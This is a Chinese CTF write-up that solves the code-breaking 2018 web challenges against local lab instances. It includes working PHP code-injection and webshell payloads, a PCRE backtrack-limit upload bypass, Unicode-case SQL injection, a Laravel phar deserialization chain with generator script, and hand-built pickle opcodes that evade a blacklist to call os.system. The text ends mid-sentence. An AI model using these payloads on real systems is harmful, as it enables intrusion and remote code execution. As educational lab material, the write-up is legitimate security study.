code-breaking2018

2021-05-25 23:05:00
ctf - 代码审计

闲来无事把code-breaking2018刷了。

function

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

这题十分简短精悍,应该是需要找到一个在[a-z0-9_]之外的字符放置在函数前而不影响函数的调用,简单传入:

http://127.0.0.1:8087/?action=system&arg=

http://127.0.0.1:8087/?action=$system&arg=

会发现后者让页面报错了,因此我们可以据此来fuzz出什么字符是可用的。

fuzz到一个\,此处的报错意味着开启了disable function。

我们的system拼接上\也就是\system,这里是命名空间默认情况下就是\也就是说这里就是使用了当前命名空间下的system函数,可以理解为使用了一个绝对路径,而我们常规的调用就是相对路径了。

随手写了一个demo让大家理解一下:

<?php
namespace asad;

function tt(){
    echo "asad tt";
}


\asad\tt();
//asad tt

那么下面想要执行函数因为个人刷题多了,第一时间就联想到了create_function这个函数,他的第二个参数有一个典型的漏洞就是可以用来实现代码注入,此处简单分析一下:

首先需要知道这个函数是用来创建匿名函数的,其的两个参数的作用:create_function(参数,函数体),看一个demo:

<?php
$newfunc = create_function('$a', 'return $a;');
echo $newfunc(2) . "\n";
?>
//2

那么这个漏洞是怎么利用的?我拆解一下:

<?php
$newfunc = create_function('$a', 'return $a;}phpinfo();//');
echo $newfunc(2) . "\n";
?>

相当于:

<?php
function newfunc($a){
  return $a;}phpinfo();//}

当然了这里并不完全相同,它不会执行newfunc函数,但对于理解这一个漏洞来说已经够了,因此我们可以得到payload:

http://127.0.0.1:8087/?action=\create_function&arg=}phpinfo();//

可以看到确实是有禁了一堆函数,包括前面的system,然后还有base_dir,但拿flag依旧绰绰有余,写一个eval,发现flag在上级目录,刚好base_dir到该级目录,因此:

url:http://127.0.0.1:8087/?action=\create_function&arg=}eval($_POST[1]);//post:1=echo(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));

pcrewaf

喜闻乐见的又是代码审计:

<?phpfunction is_php($data){    return preg_match('/<\?.*[(`;?>].*/is', $data);}if(empty($_FILES)) {    die(show_source(__FILE__));}$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);$data = file_get_contents($_FILES['file']['tmp_name']);if (is_php($data)) {    echo "bad request";} else {    @mkdir($user_dir, 0755);    $path = $user_dir . '/' . random_int(0, 10) . '.php';    move_uploaded_file($_FILES['file']['tmp_name'], $path);    header("Location: $path", true, 303);} 1

这道题最关键在于is_php里面的正则关于这个正则<\?.*[(`;?>].*可以分析为如下图:

一目了然的知道匹配了php的标签头含有<?且其后不能有[(;?>]`,就这点来说我们要执行代码是办不到的。

这道题的利用点具体可以参考p牛的正则回溯匹配次数bypass waf:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

摘取其文中一段内容:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

以php7.3为界限,php7.3以下使用的是PCRE,而7.3以上用的是PCRE2。

而php中的正则回溯存在着一个回溯上限,我们可以在文档中查看到其上限值为1000000:

我们在调试该正则的时候可以看到进行了多次回溯:

究其原因是在于第一个.*,如下:

可以清楚的了解到在第一个.*匹配到字符串的末端后该正则后续的[(`;?>)]同样需要进行匹配,因此该正则开始回溯,而在上面的图片中可以清楚的看到回溯了8次,直到;与正则符合后才停止回溯,继续匹配后续的.*

我们在运行代码:

<?phpvar_dump(preg_match('/<\?.*[(`;?>].*/is', "<?php phpinfo();//".str_repeat('a',1000000)));

会发现输出的结果是false而不是int(1),而输出false则可以满足我们上面的else达成文件的上传。

而文件无需手动构造100万个a,只需使用python上传即可,上传文件后会设置location,因此我们可以通过输出header来查看到文件路径:

import requestsfrom io import BytesIOfiles = {  'file': BytesIO(b'<?php eval($_POST[1]);//' + b'a' * 1000000)}res = requests.post('http://127.0.0.1:8088/', files=files, allow_redirects=False)print(res.headers)"""{'Date': 'Sat, 13 Mar 2021 07:50:29 GMT', 'Server': 'Apache/2.4.38 (Debian)', 'X-Powered-By': 'PHP/7.1.33', 'Location': 'data/269e6c9cb28db04d1f0a5fbd76f2519e/7.php', 'Content-Length': '0', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=utf-8'}"""

phpmagic

给出源码:

<?phpif(isset($_GET['read-source'])) {    exit(show_source(__FILE__));}define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));if(!is_dir(DATA_DIR)) {    mkdir(DATA_DIR, 0755, true);}chdir(DATA_DIR);$domain = isset($_POST['domain']) ? $_POST['domain'] : '';$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');?><?php if(!empty($_POST) && $domain):                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));                $output = shell_exec($command);                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);                $log_name = $_SERVER['SERVER_NAME'] . $log_name;                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {                    file_put_contents($log_name, $output);                }                echo $output;            endif; ?>

使用了escapeshellarg函数进行过滤:

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。

这道题挺有意思,首先看到file_put_contents,我们可以利用它来写文件,该函数中的两个参数都是部分可控。

首先需要解决第一个问题,写入php后缀的文件,这里因为服务器是apache,看到这一个过滤,我首先想到的是可否写入一个htaccess来解析jpg,然鹅对于这道题来说办不到,因为htaccess对于格式要求相对严格,注意到这里有一个pathinfo函数,它存在着可以被绕过的姿势。

pathinfo() 函数以数组或字符串的形式返回关于文件路径的信息。

返回的数组元素如下:

  1. [dirname]: 返回文件路径中的目录部分

  2. [basename]: 返回文件路径中文件名的部分

  3. [extension]: 返回文件路径中文件的类型的部分

运行下面代码会发现该黑魔法:

<?phpvar_dump(pathinfo("a.php",));var_dump(pathinfo("a.php/."));var_dump(pathinfo("a.php/.",PATHINFO_EXTENSION));/*array(4) {  ["dirname"]=>  string(1) "."  ["basename"]=>  string(5) "a.php"  ["extension"]=>  string(3) "php"  ["filename"]=>  string(1) "a"}array(4) {  ["dirname"]=>  string(5) "a.php"  ["basename"]=>  string(1) "."  ["extension"]=>  string(0) ""  ["filename"]=>  string(0) ""}string(0) ""*/

也就是说我们的a.php被当成目录了,此时的if判断变为:

if(!in_array("", ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true))

因此我们可以往里边写文件了,并且a.php/.这种形式是可以在file_put_contents中成功写入的,各位可以尝试运行下列:

<?phpvar_dump(file_put_contents("a.php/.","test"));//int(4)

接下来要操心的是log_name并不完全可控,他是由我们传入的log与$_SERVER['SERVER_NAME']拼接形成的,在php文档中有写到:

当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。

注意: 在 Apache 2 里,必须设置 UseCanonicalName = OnServerName。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。

对于本题中可通过修改host来控制该值(ps.我在本地默认apache中测试过是无法修改host来控制该值的)。

至此我们写入的文件名完全可控。

再看一下,倘若我随意输入一串字符串,通过shell_exec执行完后在页面中输出的内容是什么:

查看对应的文件会发现我们的部分字符被编码了:

; &lt;&lt;&gt;&gt; DiG 9.9.5-9+deb8u15-Debian &lt;&lt;&gt;&gt; -t A -q &lt;?php phpinfo();?&gt;

须知file_put_contents涉及到了文件操作,因此完全可以采用伪协议来指定解码方式为base64的方式来让我们的代码免于html实体编码的危害,base64是4位解一个,如果我们传入的字符数量少于4的倍数就会解不出来,这也就是base64末尾经常出现等于号的原因,因为等于号是作为填充字符来使用的,而在我们传入的字符之前符合解码的[A-Za-z0-9+/=]有:

ltltgtgtDiG9959+deb8u15DebianltltgtgttAq

为40个字符,因此我们只需将php代码编码后传入即可。

最终payload(phpinfo):

POST / HTTP/1.1Host: phpUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:86.0) Gecko/20100101 Firefox/86.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 94Origin: http://127.0.0.1:8082Connection: closeReferer: http://127.0.0.1:8082/Upgrade-Insecure-Requests: 1domain=PD9waHAgcGhwaW5mbygpOyAgPz4g&log=://filter/write=convert.base64-decode/resource=1.php/.

phplimit

<?phpif(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {        eval($_GET['code']);} else {    show_source(__FILE__);}

这个正则嘛见多了,就是无参数函数调用题。

有basedir,不过因为code-breaking是18年的了,放在当时无参调用是很难的题目了,而到目前为止各大比赛中这类无参题目出的很多了,直接用session进行bypass。

http://127.0.0.1:8084/?code=assert(session_id(session_start()));cookie:PHPSESSID=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

nodechr

直接给出源码:

// initial librariesconst Koa = require('koa')const sqlite = require('sqlite')const fs = require('fs')const views = require('koa-views')const Router = require('koa-router')const send = require('koa-send')const bodyParser = require('koa-bodyparser')const session = require('koa-session')const isString = require('underscore').isStringconst basename = require('path').basenameconst config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))async function main() {    const app = new Koa()    const router = new Router()    const db = await sqlite.open(':memory:')    await db.exec(`CREATE TABLE "main"."users" (        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,        "username" TEXT NOT NULL,        "password" TEXT,        CONSTRAINT "unique_username" UNIQUE ("username")    )`)    await db.exec(`CREATE TABLE "main"."flags" (        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,        "flag" TEXT NOT NULL    )`)    for (let user of config.users) {        await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)    }    await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)    router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)    app.use(views(__dirname + '/views', {        map: {            html: 'underscore'        },        extension: 'html'    })).use(bodyParser()).use(session(app))        app.use(router.routes()).use(router.allowedMethods());        app.keys = config.signed    app.context.db = db    app.context.router = router    app.listen(3000)}function safeKeyword(keyword) {    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {        return keyword    }    return undefined}async function login(ctx, next) {    if(ctx.method == 'POST') {        let username = safeKeyword(ctx.request.body['username'])        let password = safeKeyword(ctx.request.body['password'])        let jump = ctx.router.url('login')        if (username && password) {            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)            if (user) {                ctx.session.user = user                jump = ctx.router.url('admin')            }        }        ctx.status = 303        ctx.redirect(jump)    } else {        await ctx.render('index')    }}async function static(ctx, next) {    await send(ctx, ctx.path)}async function admin(ctx, next) {    if(!ctx.session.user) {        ctx.status = 303        return ctx.redirect(ctx.router.url('login'))    }    await ctx.render('admin', {        'user': ctx.session.user    })}async function source(ctx, next) {    await send(ctx, basename(__filename))}main()

关键的逻辑在于登陆处,分析一下此处代码:

function safeKeyword(keyword) {    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {        return keyword    }    return undefined}async function login(ctx, next) {    if(ctx.method == 'POST') {        let username = safeKeyword(ctx.request.body['username'])        let password = safeKeyword(ctx.request.body['password'])        let jump = ctx.router.url('login')        if (username && password) {            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)            if (user) {                ctx.session.user = user                jump = ctx.router.url('admin')            }        }        ctx.status = 303        ctx.redirect(jump)    } else {        await ctx.render('index')    }}

看到我们传入的用户名密码都直接放入sql语句时顿觉sql注入有戏,然而我们传入的用户名跟密码都经历了safeKeyword函数,显然如果flag存在于数据库内那失去了union会让我们举步维艰,而这道题经过测试并不是考察万能密码注入登陆后台(ps.因为admin/admin就直接进后台了)。

这里有一个很突兀的东西就是toUpperCase这个函数,这也正是这道题要考察的点(很显然,如果只是简单绕waf的话无需要专门选择nodejs来搭建环境,用php搭多方便)。

关于这一点p牛也是在n年前写过一篇文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

文章说的很详细啦,对于toUpperCase函数来说,有两对字符:

char: ichar: ıchar: schar: ſ

可以看到他们经过toUpperCase函数后是相等的:

至此这道题的做法也就很明显了,用这俩字符分别绕select和union即可。

password=000&username=1' unıon ſelect 1,2,3 or '1'='1

得到回显位在2号位,而源码中还创建了一个flags表:

CREATE TABLE "main"."flags" (        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,        "flag" TEXT NOT NULL    )

因此我们直接注flag即可。

password=0' unıon ſelect 1,flag,3 from flags where '1'='1&username=123

lumenserial

给出源码,直入app下的控制器,看到其内的editor控制器中存在着一个download函数,其中的url是参数,我们可以利用其来上传文件,但遗憾的是文件仅限于图片,如图:

了解到该editor调用控制器的方式是通过call_user_func来调用带do开头的控制器,这里找到了doCatchimage调用了download:

找到config['catcherFieldName']的值是source,因此我们可以以:

GET /server/editor?action=Catchimage&source[]=https://aaa.com/1.png

的形式来上传一张图片,因此也可以上传一个phar然后进行phar反序列化,因此需要寻找一条合适的链。

链的入口位于Illuminate\Broadcasting\PendingBroadcast__destruct()方法,但调试时会发现在运行到该方法之前会先进行autoload,这是因为我们要加载的类在我们反序列化的页面中没有通过include或者其他方式加载进来,因此触发autoload,而类通过spl_autoload_register注册之后就会通过spl_autoload_call尝试调用已注册的类。

而其后所做的事情无非是通过我们的命名空间找到对应的文件然后进行包含,如下:

function includeFile($file){    include $file;}

然后再去寻找下一个类:

了解了该过程后便无需过多调试,直接进入正题,开始我们的pop审计,因此我们多次step out直到看见我们的__destruct

我们的events必须要有dispatch方法或者存在一个call方法,按照链是寻找一个具有dispatch的方法,全局搜一下dispatch发现符合条件的只有Illuminate\Bus\Dispatcher,我们尝试单步执行发现确实到了此处,看一下他的dispatch方法:

此处的command参数自然是我们的$this->event,此处涉及到三个函数,分别查看一下这三个函数有没有什么可以利用的地方。

commandShouldBeQueued:

protected function commandShouldBeQueued($command){  return $command instanceof ShouldQueue;}

此处是判断我们的command是否是ShouldQueue的实例,如果是则为true。

dispatchToQueue:

注意到这里有一个call_user_func,函数执行点get到了,他的两个参数都是可控的,因此该函数存在着可以被利用的点,那么后面的dispatchNow就可以不用管了。

前面说到要进入dispatchToQueue需要满足commandShouldBeQueued的判断,找一下会发现ShouldQueue类它是一个接口,那么全局搜索一下实现了这个接口的类。

p牛的链中使用的是第二个BroadcastEvent,但其实分析一下就知道了使用哪个类都不影响,因为这个类所需要的只是满足是ShouldQueue接口的实现类,因此$this->event或者说$command就可以确定了,而command的connection属性就是call_user_func所要调用的函数的参数,那接下来就是寻找执行任意命令的函数(因为call_user_func无法执行eval函数。)

继续调试会进入到Mockery\Loader\EvalLoader的load方法,很明显的能够看到一个eval,但前面还有一个if需要绕一下:

注意到这里的$definition需要是MockDefinition类,看到该类:

code可控的话,代表要执行的代码可控,此处先不论,需要找一个类其getname是可控的,然后构造一个不存在的类即可,继续调试会发现进入了Mockery\Generator\MockConfiguration类:

这里的name可控至此链就完结了,可以根据此写出payload:

这里的name可控至此链就完结了,可以根据此写出payload:

<?phpnamespace Illuminate\Broadcasting{    class PendingBroadcast{        protected $events;        protected $event;        public function __construct($events, $event)        {            $this->event = $event;            $this->events = $events;        }    }}namespace Illuminate\Broadcasting{    class BroadcastEvent    {        public $connection;        public function __construct($connection)        {            $this->connection = $connection;        }    }}namespace Illuminate\Bus{    class Dispatcher    {        protected $queueResolver;        public function __construct($queueResolver)        {            $this->queueResolver = $queueResolver;        }    }}namespace Mockery\Generator{    class MockDefinition    {        protected $config;        protected $code;        public function __construct(MockConfiguration $config)        {            $this->config = $config;            $this->code = '<?php phpinfo();?>';        }    }}namespace Mockery\Generator{    class MockConfiguration    {        protected $name = "none class";    }}namespace Mockery\Loader{    class EvalLoader    {        public function load(MockDefinition $definition)        {        }    }}namespace {    $config = new \Mockery\Generator\MockConfiguration();    $connection = new \Mockery\Generator\MockDefinition($config);    $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);    $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");    $events = new \Illuminate\Bus\Dispatcher($queueResolver);    $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);    echo urlencode(serialize($pendingBroadcast));    $p = new Phar('./exploit.phar', 0);    $p->startBuffering();    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');    $p->setMetadata($pendingBroadcast);    $p->addFromString('1.txt','text');    $p->stopBuffering();}

得到phar包后改个后缀放到vps然后上传:

/server/editor?action=Catchimage&source[]=https://vps/exploit.gif

最后访问

/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/a0dffb129fffa47f1dd582d481c28717/202103/17/099af2dc841c828c413e.gif

可以看到此处禁了部分函数:

但无关紧要,用这部分函数之外的函数也就足以getflag了,本文就不过多叙述。

picklecode

拿到源码后首先根据其内代码片段很容易判断出这是一个django项目,首先看到settings中的内容:

这一处session的内容我以前开发django时接触过,例如我项目中使用的是:

SESSION_ENGINE = 'django.contrib.sessions.backends.file'SESSION_FILE_PATH = os.path.join(BASE_DIR, 'temp')

这里指定了session是采用file类型的引擎,并且我用了path来指定存储的位置,那么我是能够在temp目录下查看到我的session文件的,如下图:

可以看到文档中默认的engine为:

默认是存储在数据库中而这里是选择存储在cookie中,再来看到SESSION_SERIALIZER

这个配置指定的就是序列化类采用的序列化方式,默认是json格式,而pickle形式的话我们都知道pickle反序列化是可以执行任意命令的,他这里采用的是core目录下的PickleSerializer类去进行序列化\反序列化操作。

总结一下就是该站点采用自定义的pickle类,以序列化的形式将session存储在cookie中,只要我们将构造的cookie替换掉当前cookie即可达成pickle反序列化执行任意命令;但首先需要解决的问题是这个cookie是signed_cookies,也就是说需要解决签名的问题。

找到settings中的签名是从环境中获取而非硬编码在程序中,那么回看到views代码中:

@login_requireddef index(request):    django_engine = engines['django']    template = django_engine.from_string('My name is ' + request.user.username)    return HttpResponse(template.render(None, request))

这么个东西,可以发现就是我们输入的username是先拼接到字符串中然后再调用django模板引擎进行渲染,因此存在模板注入的可能,因此思路转换为采用ssti注入执行任意命令。

然而会发现django引擎十分安全,虽然我们可以注入{{7}},但要更进一步时会发现我们即使连最简单的{{7*7}}也会引起服务器的500错误,这十分令人头疼:

执行命令是比较难了,但仍然可以从request对象中获取到配置信息从而得到key。

在项目的模板中的模板标签处下一个断点,可以看到会有大量的上下文变量,可以看到是有如下对象:

可以看到user对象会去取到他的key:

但如果我们拿着这个值去打的话会发现没有回显:

{{user.user_permissions.model.user_set.field.opts.app_config.module.admin.settings.SECRET_KEY}}

开启debug会发现:

关联对象不存在,并且因为django模板不允许加载下划线开头的属性(私有属性)的原因,部分链也无法使用,但还是可以从中找到可以使用的链,如:

{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}

因此我们顺利的取到了密钥:

拿到密钥后就能够伪造cookie了,那么接下来看一下pickle序列化处的代码:

import pickleimport ioimport builtins__all__ = ('PickleSerializer', )class RestrictedUnpickler(pickle.Unpickler):    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}    def find_class(self, module, name):        # Only allow safe classes from builtins.        if module == "builtins" and name not in self.blacklist:            return getattr(builtins, name)        # Forbid everything else.        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %                                     (module, name))class PickleSerializer():    def dumps(self, obj):        return pickle.dumps(obj)    def loads(self, data):        try:            if isinstance(data, str):                raise TypeError("Can't load pickle from unicode string")            file = io.BytesIO(data)            return RestrictedUnpickler(file,                              encoding='ASCII', errors='strict').load()        except Exception as e:            return {}

首先引入眼帘的自然是这个黑名单,在此之前需要先了解一下pickle序列化、反序列化的过程:

import pickleclass Foo:    attr = 'A class attribute'# 序列化picklestring = pickle.dumps(Foo())print(picklestring)# 反序列化a = pickle.loads(picklestring)print(a.attr)"""b'\x80\x04\x95\x17\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03Foo\x94\x93\x94)\x81\x94.'A class attribute"""

很容易能够看出,pickle的序列化是通过dump(s)进行的,而反序列化则是通过load(s),而本题中的写法实际上是在官方文档中给出的一种严格反序列化的写法,通过给反序列化过程设置黑名单从而避免反序列化后任意代码的执行。

如上述代码为白名单机制的写法,尝试反序列化结果如下:

>>> restricted_loads(pickle.dumps([1, 2, range(15)]))[1, 2, range(0, 15)]>>> restricted_loads(b"cos\nsystem\n(S'echo hello world'\ntR.")Traceback (most recent call last):  ...pickle.UnpicklingError: global 'os.system' is forbidden>>> restricted_loads(b'cbuiltins\neval\n'...                  b'(S\'getattr(__import__("os"), "system")'...                  b'("echo hello world")\'\ntR.')Traceback (most recent call last):  ...pickle.UnpicklingError: global 'builtins.eval' is forbidden

那么其findclass方法限制了反序列化的对象必须是builtins模块且必须在白名单内,所以一旦使用os.system就会被捕捉到;众所周知白名单机制是比较安全的,然而本题的代码中采用的是黑名单机制,这给我们的绕过提供了基础。

pickle反序列化的入口点在于reduce方法,python允许自定义一个类的reduce方法:

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 reduce 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)

形如:

python def __reduce__(self):return (os.system, ("ls",))

而我们在使用如下序列化出一段pickle串(此处指定protocol=0是以人类可读的形式进行序列化):

# -*- coding:UTF-8 -*-import pickleimport pickletoolsimport osclass Foo():    def __reduce__(self):        s = "open -a Calculator"        return (os.system, (s,))# # 序列化foo = Foo()picklestring = pickle.dumps(foo,protocol=0)"""b'cposix\nsystem\np0\n(Vopen -a Calculator\np1\ntp2\nRp3\n.'"""

然后再进行反序列化:

import picklea = pickle.loads(b'cposix\nsystem\np0\n(Vopen -a Calculator\np1\ntp2\nRp3\n.')

好了,上面的黑名单中限制了module必须是builtins,能看出来os.system在这里调用的是posix.system(实际上在*nix系统下os就是posix),因此是无法经过这个黑名单。

builtins模块实际上是不需要import的,如常见的input、eval、open等都在该模块中,但很显然它们都在黑名单里面,可以通过dir来寻找可用的方法:

import builtinsprint(dir(builtins))"""[...,'__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'execfile', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'runfile', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']"""

可以发现有一个getattr方法很有用,他可以从一个对象中取出其属性or方法,以此我们可以达成类似动态执行的效果,如:

class Foo():    def funC():        print("just test")b = getattr(Foo,"funC")b()# just test

因此我们可以构造如builtins.getattr(builtins,'eval')来执行代码,此时调用到的module为builtins,方法为getattr,自然而然地就能够绕过这个反序列化过滤,然鹅如果我们想要尝试类似的方式来调用:

# -*- coding:UTF-8 -*-import pickleimport pickletoolsimport osimport builtinsclass Foo():    def __reduce__(self):        s = '__import__("os").system("id")'        return (builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),"builtins"),"eval"), (s,))# # 序列化foo = Foo()picklestring = pickle.dumps(foo,protocol=0)print(picklestring)pickle.loads(picklestring)"""b'c__builtin__\neval\np0\n(V__import__("os").system("id")\np1\ntp2\nRp3\n.'"""

会发现他并不会如我们所愿地从builtins模块一步一步调用出我们的eval,而是直接从__builtin__模块中调出eval,这不符合我们的预期,那么现在的问题是如果是使用reduce方法配合getattr是无法直接去执行代码。

熟悉php反序列化的读者会知道诸如一些wakeup绕过,反序列化逃逸等的操作都是通过手动构造改写序列化串去达成的;同样的,pickle序列化串也是可以手动构造出来。

pickle是一门栈语言,因此其内容通常存储在栈中,当然了也存储在memo中,我们可以使用pickletools来对其进行分析:

pickletools.dis(b'cposix\nsystem\np0\n(Vopen -a Calculator\np1\ntp2\nRp3\n.')

输出:

    0: c    GLOBAL     'posix system'   14: p    PUT        0   17: (    MARK   18: V        UNICODE    'open -a Calculator'   38: p        PUT        1   41: t        TUPLE      (MARK at 17)   42: p    PUT        2   45: R    REDUCE   46: p    PUT        3   49: .    STOPhighest protocol among opcodes = 0

可以看到一个code对应的一个语句,在源码中能够看到这些code及其解释:

简单解读一下上面的opcode:

    0: c    GLOBAL     'posix system'    // push self.find_class(modname, name); 2 string args    // 将self.find_class(modname, name)压入栈中,我们需要绕过的正是这一步   14: p    PUT        0    // store stack top in memo; index is string arg    // 将栈顶的元素存入memo数组的第0位中   17: (    MARK    // push special markobject on stack    // 将特殊的mark对象压入栈,可以理解为元组的开始   18: V        UNICODE    'open -a Calculator'    // push Unicode string; raw-unicode-escaped'd argument    // 将字符串'open -a Calculator'压入栈中   38: p        PUT        1    // store stack top in memo; index is string arg    // 因为前面压入了字符串,所以栈顶是字符串,这里则是将字符串同样是栈顶存入memo数组的第1位中   41: t        TUPLE      (MARK at 17)    // build tuple from topmost stack items    // 将栈顶至最近的一个(弹出,并组成一个元组('open -a Calculator'),压入栈中   42: p    PUT        2    // store stack top in memo; index is string arg    // 将刚刚的元组存入memo数组的第2位   45: R    REDUCE    // apply callable to argtuple, both on stack    // 从栈中将可调用对象和元组弹出,元组作为对象的参数,其返回值压入栈中                46: p    PUT        3    // store stack top in memo; index is string arg    // 将栈顶也就是刚刚的返回值存入memo数组的第3位       49: .    STOP    // every pickle ends with STOP    // pickle序列化结束            highest protocol among opcodes = 0

而事实上将栈顶放入memo数组这一过程是可以被省略的,因此opcode可以省略为:

cposix\nsystem\n(Vopen -a Calculator\ntR."""cposixsystem(Vopen -a CalculatortR."""

运行:

pickle.loads(b'cposix\nsystem\n(Vopen -a Calculator\ntR.')

会发现同样弹出计算器,因此证明前面的思路没错,p这一操作码可以被省略。

接下来就是手搓可用于本题的opcode。

以下面代码来构造:

(builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),"builtins"),"eval"), (s,))

首先是这一部分:

builtins.getattr(builtins.dict,'get')(builtins.globals(),"builtins")

第一步是从builtins模块中获取getattr方法,与system.os相似,即:

cbuiltinsgetattr

接下来是参数元组,我们用getattr来从dict中取到get方法:

cbuiltinsgetattr(cbuiltinsdictS'get'tR

get方法有两个参数,一个是键一个是指,键的话就是globals,他是无参的,那么只需要给他一个元组符号然后直接tR即可:

cbuiltinsglobals(tR

那么取builtins则为:

cbuiltinsgetattr(cbuiltinsdictS'get'tR(cbuiltinsglobals(tRS'builtins'tR

对该opcode反序列化会发现成功取到了:<module 'builtins' (built-in)>

那么接下来就是用getattr从builtins对象中取出eval即可,只需要在外层再套上一层builtins.getattr,然后指定第二个参数为eval,再次调用eval,其内放置所需执行的代码即可:

cbuiltinsgetattr(cbuiltinsgetattr(cbuiltinsdictS'get'tR(cbuiltinsglobals(tRS'builtins'tRS'eval'tR.

此时已经顺利取到了eval对象:

接下来只需要简单的执行eval即可,因此最终的opcode:

cbuiltinsgetattr(cbuiltinsgetattr(cbuiltinsdictS'get'tR(cbuiltinsglobals(tRS'builtins'tRS'eval'tR(S'__import__("os").system("ls")'tR.

放到题目中去执行同样成功:

好了,opcode写好了,但貌似不太优雅,虽然成功构造出一个对象但若想要多次使用的话opcode会显得很冗长,下面稍微提一下稍优雅些的操作(其实就是p师傅wp中使用的操作)

前面提到了p操作会把栈顶放入memo指定的位置,如p0则放入memo[0],既然有放入自然存在着取出的操作码:

PUT            = b'p'   # store stack top in memo; index is string argGET            = b'g'   # push item from memo on stack; index is string arg

这俩是一对的,因此我们可以将构造好的对象通过p命令放入memo数组,然后使用时用g命令来取出,因此opcode也可以修改为:

cbuiltinsgetattr(cbuiltinsdictS'get'tR(cbuiltinsglobals(tRS'builtins'tRp1cbuiltinsgetattr(g1S'eval'tR(S'__import__("os").system("ls>")'tR.

尽管长度稍稍增长,但在需要构造更长的opcode时就会显示其优势。

毕竟是一道ctf题,有始有终,稍稍放一下生成session的脚本:

